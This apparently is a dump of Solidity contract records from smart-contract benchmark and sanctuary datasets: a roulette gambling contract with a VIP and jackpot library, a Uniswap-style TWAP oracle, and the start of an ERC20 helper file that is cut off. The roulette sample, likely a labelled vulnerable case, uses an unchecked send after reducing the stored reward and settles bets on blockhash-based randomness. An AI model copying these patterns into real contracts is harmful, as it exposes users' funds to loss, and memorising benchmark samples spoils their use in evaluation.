renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xbfa5c2f2b2ea28d7cad06d8a5ad796425ab999c5.sol
| 4,873 | 17,780 |
pragma solidity ^0.5.0;
contract CryptoTycoonsVIPLib{
address payable public owner;
uint128 public jackpotSize;
uint128 public rankingRewardSize;
mapping (address => uint) userExpPool;
mapping (address => bool) public callerMap;
event RankingRewardPayment(address indexed beneficiary, uint amount);
modifier onlyOwner {
require(msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCaller {
bool isCaller = callerMap[msg.sender];
require(isCaller, "onlyCaller methods called by non-caller.");
_;
}
constructor() public{
owner = msg.sender;
callerMap[owner] = true;
}
function () external payable {
}
function kill() external onlyOwner {
selfdestruct(owner);
}
function addCaller(address caller) public onlyOwner{
bool isCaller = callerMap[caller];
if (isCaller == false){
callerMap[caller] = true;
}
}
function deleteCaller(address caller) external onlyOwner {
bool isCaller = callerMap[caller];
if (isCaller == true) {
callerMap[caller] = false;
}
}
function addUserExp(address addr, uint256 amount) public onlyCaller{
uint exp = userExpPool[addr];
exp = exp + amount;
userExpPool[addr] = exp;
}
function getUserExp(address addr) public view returns(uint256 exp){
return userExpPool[addr];
}
function getVIPLevel(address user) public view returns (uint256 level) {
uint exp = userExpPool[user];
if(exp >= 25 ether && exp < 125 ether){
level = 1;
} else if(exp >= 125 ether && exp < 250 ether){
level = 2;
} else if(exp >= 250 ether && exp < 1250 ether){
level = 3;
} else if(exp >= 1250 ether && exp < 2500 ether){
level = 4;
} else if(exp >= 2500 ether && exp < 12500 ether){
level = 5;
} else if(exp >= 12500 ether && exp < 25000 ether){
level = 6;
} else if(exp >= 25000 ether && exp < 125000 ether){
level = 7;
} else if(exp >= 125000 ether && exp < 250000 ether){
level = 8;
} else if(exp >= 250000 ether && exp < 1250000 ether){
level = 9;
} else if(exp >= 1250000 ether){
level = 10;
} else{
level = 0;
}
return level;
}
function getVIPBounusRate(address user) public view returns (uint256 rate){
uint level = getVIPLevel(user);
return level;
}
function increaseJackpot(uint increaseAmount) external onlyCaller {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function payJackpotReward(address payable to) external onlyCaller{
to.transfer(jackpotSize);
jackpotSize = 0;
}
function getJackpotSize() external view returns (uint256){
return jackpotSize;
}
function increaseRankingReward(uint amount) public onlyCaller{
require (amount <= address(this).balance, "Increase amount larger than balance.");
require (rankingRewardSize + amount <= address(this).balance, "Not enough funds.");
rankingRewardSize += uint128(amount);
}
function payRankingReward(address payable to) external onlyCaller {
uint128 prize = rankingRewardSize / 2;
rankingRewardSize = rankingRewardSize - prize;
if(to.send(prize)){
emit RankingRewardPayment(to, prize);
}
}
function getRankingRewardSize() external view returns (uint128){
return rankingRewardSize;
}
}
contract HalfRouletteEvents {
event Commit(uint commit);
event Payment(address indexed gambler, uint amount, uint8 betMask, uint8 l, uint8 r, uint betAmount);
event Refund(address indexed gambler, uint amount);
event JackpotPayment(address indexed gambler, uint amount);
event VIPBenefit(address indexed gambler, uint amount);
event InviterBenefit(address indexed inviter, address gambler, uint amount, uint betAmount);
}
contract CryptoTycoonsDApp {
address payable public owner;
address payable nextOwner;
address secretSigner;
mapping(address => bool) public croupierMap;
address payable public VIPLibraryAddress;
modifier onlyOwner {
require(msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCroupier {
bool isCroupier = croupierMap[msg.sender];
require(isCroupier, "OnlyCroupier methods called by non-croupier.");
_;
}
constructor() public {
owner = msg.sender;
croupierMap[msg.sender] = true;
secretSigner = msg.sender;
}
function () external payable {}
function approveNextOwner(address payable _nextOwner) external onlyOwner {
require(_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require(msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function addCroupier(address newCroupier) external onlyOwner {
bool isCroupier = croupierMap[newCroupier];
if (isCroupier == false) {
croupierMap[newCroupier] = true;
}
}
function deleteCroupier(address newCroupier) external onlyOwner {
bool isCroupier = croupierMap[newCroupier];
if (isCroupier == true) {
croupierMap[newCroupier] = false;
}
}
function setVIPLibraryAddress(address payable addr) external onlyOwner {
VIPLibraryAddress = addr;
}
function getMyAccuAmount() external view returns (uint) {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
return vipLib.getUserExp(msg.sender);
}
function getJackpotSize() external view returns (uint) {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
return vipLib.getJackpotSize();
}
function getRankingRewardSize() external view returns (uint128) {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
return vipLib.getRankingRewardSize();
}
}
contract HalfRouletteStruct {
struct Bet {
uint amount;
uint8 betMask;
uint40 placeBlockNumber;
address payable gambler;
}
}
contract HalfRouletteConstant {
uint constant BET_EXPIRATION_BLOCKS = 250;
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0004 ether;
uint constant RANK_FUNDS_PERCENT = 7;
uint constant INVITER_BENEFIT_PERCENT = 7;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_BET = 300000 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant BASE_WIN_RATE = 100000;
}
contract HalfRoulettePure is HalfRouletteConstant {
function verifyBetMask(uint betMask) public pure {
bool verify;
assembly {
switch betMask
case 1 {verify := 1}
case 2 {verify := 1}
case 4 {verify := 1}
case 8 {verify := 1}
case 5 {verify := 1}
case 9 {verify := 1}
case 6 {verify := 1}
case 10 {verify := 1}
case 16 {verify := 1}
}
require(verify, "invalid betMask");
}
function getRecoverSigner(uint40 commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) public pure returns (address) {
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes memory message = abi.encodePacked(commitLastBlock, commit);
bytes32 messageHash = keccak256(abi.encodePacked(prefix, keccak256(message)));
return ecrecover(messageHash, v, r, s);
}
function getWinRate(uint betMask) public pure returns (uint rate) {
uint ODD_EVEN_RATE = 50000;
uint LEFT_RIGHT_RATE = 45833;
uint MIX_ODD_RATE = 25000;
uint MIX_EVEN_RATE = 20833;
uint EQUAL_RATE = 8333;
assembly {
switch betMask
case 1 {rate := ODD_EVEN_RATE}
case 2 {rate := ODD_EVEN_RATE}
case 4 {rate := LEFT_RIGHT_RATE}
case 8 {rate := LEFT_RIGHT_RATE}
case 5 {rate := MIX_ODD_RATE}
case 9 {rate := MIX_ODD_RATE}
case 6 {rate := MIX_EVEN_RATE}
case 10 {rate := MIX_EVEN_RATE}
case 16 {rate := EQUAL_RATE}
}
}
function calcHouseEdge(uint amount) public pure returns (uint houseEdge) {
houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
}
function calcJackpotFee(uint amount) public pure returns (uint jackpotFee) {
if (amount >= MIN_JACKPOT_BET) {
jackpotFee = JACKPOT_FEE;
}
}
function calcRankFundsFee(uint houseEdge) public pure returns (uint rankFundsFee) {
rankFundsFee = houseEdge * RANK_FUNDS_PERCENT / 100;
}
function calcInviterBenefit(uint houseEdge) public pure returns (uint invitationFee) {
invitationFee = houseEdge * INVITER_BENEFIT_PERCENT / 100;
}
function getWinAmount(uint betMask, uint amount) public pure returns (uint) {
uint houseEdge = calcHouseEdge(amount);
uint jackpotFee = calcJackpotFee(amount);
uint betAmount = amount - houseEdge - jackpotFee;
uint rate = getWinRate(betMask);
return betAmount * BASE_WIN_RATE / rate;
}
function calcBetResult(uint betMask, bytes32 entropy) public pure returns (bool isWin, uint l, uint r) {
uint v = uint(entropy);
l = (v % 12) + 1;
r = ((v >> 4) % 12) + 1;
uint mask = getResultMask(l, r);
isWin = (betMask & mask) == betMask;
}
function getResultMask(uint l, uint r) public pure returns (uint mask) {
uint v1 = (l + r) % 2;
if (v1 == 0) {
mask = mask | 2;
} else {
mask = mask | 1;
}
if (l == r) {
mask = mask | 16;
} else if (l > r) {
mask = mask | 4;
} else {
mask = mask | 8;
}
return mask;
}
function isJackpot(bytes32 entropy, uint amount) public pure returns (bool jackpot) {
return amount >= MIN_JACKPOT_BET && (uint(entropy) % 1000) == 0;
}
function verifyCommit(address signer, uint40 commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) internal pure {
address recoverSigner = getRecoverSigner(commitLastBlock, commit, v, r, s);
require(recoverSigner == signer, "failed different signer");
}
function startOfDay(uint timestamp) internal pure returns (uint64) {
return uint64(timestamp - (timestamp % 1 days));
}
}
contract HalfRoulette is CryptoTycoonsDApp, HalfRouletteEvents, HalfRouletteStruct, HalfRouletteConstant, HalfRoulettePure {
uint128 public lockedInBets;
uint public maxProfit = 10 ether;
mapping(uint => Bet) public bets;
mapping(address => address payable) public inviterMap;
function () external payable {}
function kill() external onlyOwner {
require(lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(address(owner));
}
function setMaxProfit(uint _maxProfit) external onlyOwner {
require(_maxProfit < MAX_BET, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function placeBet(uint8 betMask, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) public payable {
Bet storage bet = bets[commit];
require(bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require(amount >= MIN_BET, 'failed amount >= MIN_BET');
require(amount <= MAX_BET, "failed amount <= MAX_BET");
verifyBetMask(betMask);
verifyCommit(secretSigner, uint40(commitLastBlock), commit, v, r, s);
uint winAmount = getWinAmount(betMask, amount);
require(winAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(winAmount);
require(lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.gambler = msg.sender;
bet.amount = amount;
bet.betMask = betMask;
bet.placeBlockNumber = uint40(block.number);
}
function placeBetWithInviter(uint8 betMask, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s, address payable inviter) external payable {
require(inviter != address(0), "inviter != address (0)");
address preInviter = inviterMap[msg.sender];
if (preInviter == address(0)) {
inviterMap[msg.sender] = inviter;
}
placeBet(betMask, commitLastBlock, commit, v, r, s);
}
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require(block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require(block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require(blockhash(placeBlockNumber) == blockHash);
settleBetCommon(bet, reveal, blockHash);
}
function processVIPBenefit(address gambler, uint amount) internal returns (uint benefitAmount) {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
uint rate = vipLib.getVIPBounusRate(gambler);
if (rate > 0) {
benefitAmount = amount * rate / 10000;
emit VIPBenefit(gambler, benefitAmount);
}
vipLib.addUserExp(gambler, amount);
}
function processJackpot(address payable gambler, bytes32 entropy, uint amount) internal returns (uint benefitAmount) {
if (isJackpot(entropy, amount)) {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
uint jackpotSize = vipLib.getJackpotSize();
vipLib.payJackpotReward(gambler);
benefitAmount = jackpotSize;
emit JackpotPayment(gambler, benefitAmount);
}
}
function processRoulette(address gambler, uint betMask, bytes32 entropy, uint amount) internal returns (uint benefitAmount) {
uint winAmount = getWinAmount(betMask, amount);
lockedInBets -= uint128(winAmount);
(bool isWin, uint l, uint r) = calcBetResult(betMask, entropy);
benefitAmount = isWin ? winAmount : 0;
emit Payment(gambler, benefitAmount, uint8(betMask), uint8(l), uint8(r), amount);
}
function processInviterBenefit(address gambler, uint betAmount) internal {
address payable inviter = inviterMap[gambler];
if (inviter != address(0)) {
uint houseEdge = calcHouseEdge(betAmount);
uint inviterBenefit = calcInviterBenefit(houseEdge);
if (inviter.send(inviterBenefit)) {
emit InviterBenefit(inviter, gambler, inviterBenefit, betAmount);
}
}
}
function transferCryptoTycoonsFee(uint amount) internal {
uint houseEdge = calcHouseEdge(amount);
uint jackpotFee = calcJackpotFee(amount);
uint rankFundFee = calcRankFundsFee(houseEdge);
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
VIPLibraryAddress.transfer(rankFundFee + jackpotFee);
vipLib.increaseRankingReward(rankFundFee);
if (jackpotFee > 0) {
vipLib.increaseJackpot(jackpotFee);
}
}
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) internal {
uint amount = bet.amount;
require(amount != 0, "Bet should be in an 'active' state");
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
transferCryptoTycoonsFee(amount);
uint payout = 0;
payout += processVIPBenefit(bet.gambler, amount);
payout += processRoulette(bet.gambler, bet.betMask, entropy, amount);
processJackpot(bet.gambler, entropy, amount);
processInviterBenefit(bet.gambler, amount);
bet.gambler.transfer(payout);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require(amount != 0, "Bet should be in an 'active' state");
require(block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint winAmount = getWinAmount(bet.betMask, amount);
lockedInBets -= uint128(winAmount);
bet.gambler.transfer(amount);
emit Refund(bet.gambler, amount);
}
function withdrawFunds(address payable beneficiary, uint withdrawAmount) external onlyOwner {
require(withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require(lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
beneficiary.transfer(withdrawAmount);
}
}
| 165,530 | 589 |
748073b68e350476340fda8b98c2d77c9ea42e85520f63144b97da8d70bf71bb
| 25,384 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/dd/dD45F9533bADd73Ecd8be75FFd93E8576E7C955b_Oracle.sol
| 4,806 | 16,999 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: Babylonian
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
// Part: Context
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// Part: IUniswapV2Pair
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// Part: SafeMath
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Part: FixedPoint
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
// Part: Ownable
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Part: Operator
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
// Part: UniswapV2OracleLibrary
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// Part: Epoch
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) public {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(now >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
// File: Oracle.sol
// fixed window oracle that recomputes the average price for the entire period once every period
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) public Epoch(_period, _startTime, 0) {
pair = _pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 314,095 | 590 |
2573ebcf62b9697bc013ea34de4f2ef45d59751ff2007c2cb591f99bc98c8ade
| 22,592 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x25BDc47ebe7AA0bC486CdD40344174330751e5d0/contract.sol
| 3,436 | 13,268 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
